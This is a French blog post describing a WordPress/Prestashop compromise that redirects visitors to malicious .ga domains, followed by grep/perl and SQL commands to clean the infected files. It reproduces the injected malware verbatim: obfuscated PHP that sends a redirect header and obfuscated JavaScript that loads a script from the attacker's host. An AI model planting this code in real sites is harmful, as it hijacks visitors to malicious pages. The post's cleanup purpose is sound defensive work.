Catégories
Uncategorized

Piratage de site WordPress : Cas des rédirections lovegreenpencils

J’ai eu à faire récemment à un piratage de WordPress, ce dernier à donné lieu au piratage de tous les sites hébérgés sur le même serveur dont un Prestashop.

La boutique redirige vers des sites étranges

La boutique Prestashop redirigait vers des sites comme lovegreenpencils(.)ga ou .travelfornamewalking(.)ga, une vraie plaid.

Premier constat des dizaines de fichiers modifiés

Très rapidement, je me rend compte que énormement de fichier .php ont était modifié est affiche du code étrange comme :

$a="h"."ea"."der";$a(chr(76).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(105).chr(114).chr(99).chr(46).chr(108).chr(111).chr(118).chr(101).chr(103).chr(114).chr(101).chr(101).chr(110).chr(112).chr(101).chr(110).chr(99).chr(105).chr(108).chr(115).chr(46).chr(103).chr(97).chr(47).chr(114).chr(121).chr(101).chr(114).chr(121).chr(63).chr(105).chr(100).chr(61).chr(53).chr(56).chr(52).chr(38).chr(114).chr(115).chr(61).chr(50));?><script type='text/javascript' src='https;//main.travelfornamewalking.ga/stat.js?n=jii'></script><?php

Quand je vois ça, je me dit c’est la mé-mé-rde ! Je continue à investiguer et je découvre que des fichiers Javascript sont aussi infectés

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var mj=String.fromCharCode(104,116,116,112,115,58,47,47,109,97,105,110,46,116,114,97,118,101,108,102,111,114,110,97,109,101,119,97,108,107,105,110,103,46,103,97,47,106,115,46,112,104,112,63,118,61,51,53,50); var t = document.createElement(String.fromCharCode(115,99,114,105,112,116)); t.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); t.src = mj;t.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);t.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(t);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,59,47,47,109,97,105,110,46,116,114,97,118,101,108,102,111,114,110,97,109,101,119,97,108,107,105,110,103,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Ca semble être tout et c’est déjà pas mal…

Comment nettoyer ces fichiers?

Je pars donc à la recherche d’une façon de nettoyer les fichiers facilement, je me dis qu’il existe surement un pattern pour trouver les codes. J’ai fini par trouvé un gist pour m’aider à fair ça :

https://gist.github.com/vinvin27/e249f33a5a416c85850a2f569552c165

Pour faire simple, tu peux lancer ces 2 commandes dans un terminal :

Suppression du backdoor JS (qui fait la redirection) :

for f in $(grep -ril "Element.prototype.appendAfter" ./*); do
	
	# Don't fix the fixer itslef :D
	if [[ $f == "./fix.sh" ]]; then
		continue;
	fi

	# If a backup exists, we created it, don't process it again
	if [[ $(echo $f | grep ".perlbak") ]]; then
		continue;
	fi

	# Otherwise fix all files recursively
	echo "Found file $f"
	echo "Backing up and fixing the infection"
	echo
	perl -pi.perlbak -e 's/Element\.prototype\.appendAfter[\s\S]*?\}\)\(\);//gi' "${f}"

	((filesProcessed ++))
done

Suppression du backdoor PHP

for f in $(grep -ril '$a="h"."ea"."der"' ./*); do
	
	# Don't fix the fixer itslef :D
	if [[ $f == "./fix.sh" ]]; then
		continue;
	fi

	# If a backup exists, we created it, don't process it again
	if [[ $(echo $f | grep ".perlbak") ]]; then
		continue;
	fi

	# Otherwise fix all files recursively
	echo "Found file $f"
	echo "Backing up and fixing the infection"
	echo
	perl -pi.perlbak -e 's/\$a=\"h\"\.\"ea\"\.\"der\"[\s\S]*?script><\?php//gi' "${f}"

	((filesProcessed ++))
done

Liste des commandes utiles :

J’ai trouvé sur un autre site, un autre backdoor PHP, voici la commande modifiée pour la faire fonctionner

for f in $(grep -ril '$a=chr(104).chr(101)' ./*); do if [[ $f == "./fix.sh" ]]; then continue; fi;  if [[ $(echo $f | grep ".perlbak") ]]; then continue; fi;  echo "Found file $f"; echo "Backing up and fixing the infection"; echo; perl -pi.perlbak -e 's/\$a=chr\(104\)\.chr\(101\)[\s\S]*?<\?php//gi' "${f}";  ((filesProcessed ++)); done

for f in $(grep -ril '$a="h"."ea"."der"' ./*); do if [[ $f == "./fix.sh" ]]; then continue; fi;  if [[ $(echo $f | grep ".perlbak") ]]; then continue; fi;  echo "Found file $f"; echo "Backing up and fixing the infection"; echo; perl -pi.perlbak -e 's/<\?php <\?php \$a=\"h\"\.\"ea\"\.\"der\"[\s\S]*?\?>//gi' "${f}";  ((filesProcessed ++)); done
UPDATE wp_posts SET post_content = REPLACE ( post_content, 'https;//main.travelfornamewalking.ga/stat.js?n=ns1', '' )

for f in $(grep -ril '$a="h"."ea"."der"' ./*); do if [[ $f == "./fix.sh" ]]; then continue; fi;  if [[ $(echo $f | grep ".perlbak") ]]; then continue; fi;  echo "Found file $f"; echo "Backing up and fixing the infection"; echo; perl -pi.perlbak -e 's/<\?php \$a=\"h\"\.\"ea\"\.\"der\"[\s\S]*?\?>//gi' "${f}";  ((filesProcessed ++)); done

Mon aide ta été préciseuse ?

Tu veux me remercier en me payant une bière ou un jus de pomme ? C'est facile via Paypal. Glisse moi ton email, je t'enverrai une photo si tu le souhaites.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *